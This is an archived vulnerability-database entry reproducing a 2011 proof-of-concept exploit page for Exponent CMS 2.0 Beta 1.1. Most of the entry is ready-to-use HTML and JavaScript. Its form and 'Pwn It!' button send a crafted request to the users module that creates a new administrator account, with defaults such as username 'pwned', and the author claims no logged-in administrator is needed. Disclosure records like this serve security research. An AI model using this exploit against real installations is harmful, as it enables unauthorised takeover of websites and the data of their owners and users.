Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll. This PoC demonstrates a CSRF vulnerability in Exponent CMS 2.0 Beta 1.1, allowing an attacker to add an administrator account without requiring the administrator to be logged in

                                                &#60;!--
 
[+] Title: Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC
[+] Version: 2.0 Beta 1.1 (not tested with older versions)
[+] Note: No need administrator to be logged (:
[+] Tested on: Linux Ubuntu 11.04 (Google Chrome) but will work in any other OS
[+] Download URL: https://github.com/downloads/exponentcms/exponent-cms/exponent-2.0.0-beta1.1.zip
[+] Date: 02.05.2011
[+] Author: outlaw.dll

GreetZ to all bitcheZ in the world! =P
W_o.O_W
 
--&#62;
&#60;html&#62;
    &#60;head&#62;
        &#60;title&#62;Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll&#60;/title&#62;
        &#60;style type=&#34;text/css&#34;&#62;
        body, table, tr, td 
        {
            background-color: #00489C;
            font-family: Verdana;
            font-size: 16px;
            color: #FFFFFF;
        }
        &#60;/style&#62;
    &#60;/head&#62;
    &#60;body&#62;
        &#60;pre&#62;
              .-&#34;&#34;&#34;&#34;-.       .-&#34;&#34;&#34;&#34;-.             
             /        \     /        \
            /_        _\   /_        _\
           // \      / \\ // \      / \\
           |\__\    /__/| |\__\    /__/|
            \    ||    /   \    ||    /
             \        /     \        /
              \  __  /       \  __  /
      .-&#34;&#34;&#34;&#34;-. &#39;.__.&#39;.-&#34;&#34;&#34;&#34;-. &#39;.__.&#39;.-&#34;&#34;&#34;&#34;-.
     /        \ |  |/        \ |  |/        \
    /_        _\|  /_        _\|  /_        _\
   // \      / \\ // \      / \\ // \      / \\
   |\__\    /__/| |\__\    /__/| |\__\    /__/|
    \    ||    /   \    ||    /   \    ||    /
     \        /     \        /     \        /
      \  __  /       \  __  /       \  __  /
       &#39;.__.&#39;         &#39;.__.&#39;         &#39;.__.&#39;
        |  |           |  |           |  |
        |  |           |  |           |  |  
        &#60;/pre&#62;
        Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll
        &#60;br /&#62;&#60;br /&#62;
        &#60;form name=&#34;exploit&#34;&#62;
            &#60;table border=&#34;0&#34;&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;Target URL:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;targetURL&#34; value=&#34;http://localhost/exponent/index.php&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;Username:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;username&#34; value=&#34;pwned&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;Password:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;password&#34; value=&#34;1337&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;E-M@il:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;email&#34; value=&#34;[email protected]&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;First Name:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;firstname&#34; value=&#34;Greatest&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;Last Name:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;lastname&#34; value=&#34;Ever&#34; size=&#34;30&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34; align=&#34;right&#34;&#62;Admin Permissions:&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;checkbox&#34; name=&#34;isAdmin&#34; checked=&#34;yes&#34; value=&#34;1&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
                &#60;tr&#62;
                    &#60;td width=&#34;150&#34;&#62;&#60;/td&#62;
                    &#60;td width=&#34;400&#34;&#62;&#60;input type=&#34;button&#34; value=&#34;Pwn It!&#34; onClick=&#34;runExploit()&#34; /&#62;&#60;/td&#62;
                &#60;/tr&#62;
            &#60;/table&#62;
        &#60;/form&#62;
        &#60;script type=&#34;text/javascript&#34;&#62;
            function runExploit()
            {
                var targetURL = exploit.targetURL.value;
                var username = exploit.username.value;
                var password = exploit.password.value;
                var email = exploit.email.value;
                var firstname = exploit.firstname.value;
                var lastname = exploit.lastname.value;
                var isAdmin = exploit.isAdmin.value;
                
                if (targetURL != &#34;&#34; && username != &#34;&#34; && password != &#34;&#34; && email != &#34;&#34; && firstname != &#34;&#34; && lastname != &#34;&#34; && isAdmin != &#34;&#34;)
                {
                    var exploitURL = targetURL + &#34;?module=users&action=update&username=&#34;+username+&#34;&pass1=&#34;+password+&#34;&pass2=&#34;+password+&#34;&email=&#34;+email+&#34;&firstname=&#34;+firstname+&#34;&lastname=&#34;+lastname+&#34;&is_acting_admin=&#34;+isAdmin;
                    location.replace(exploitURL);
                }
                else
                {
                    alert(&#34;Error! Empty form fields.&#34;);
                }
            }
        &#60;/script&#62;
    &#60;/body&#62;
&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1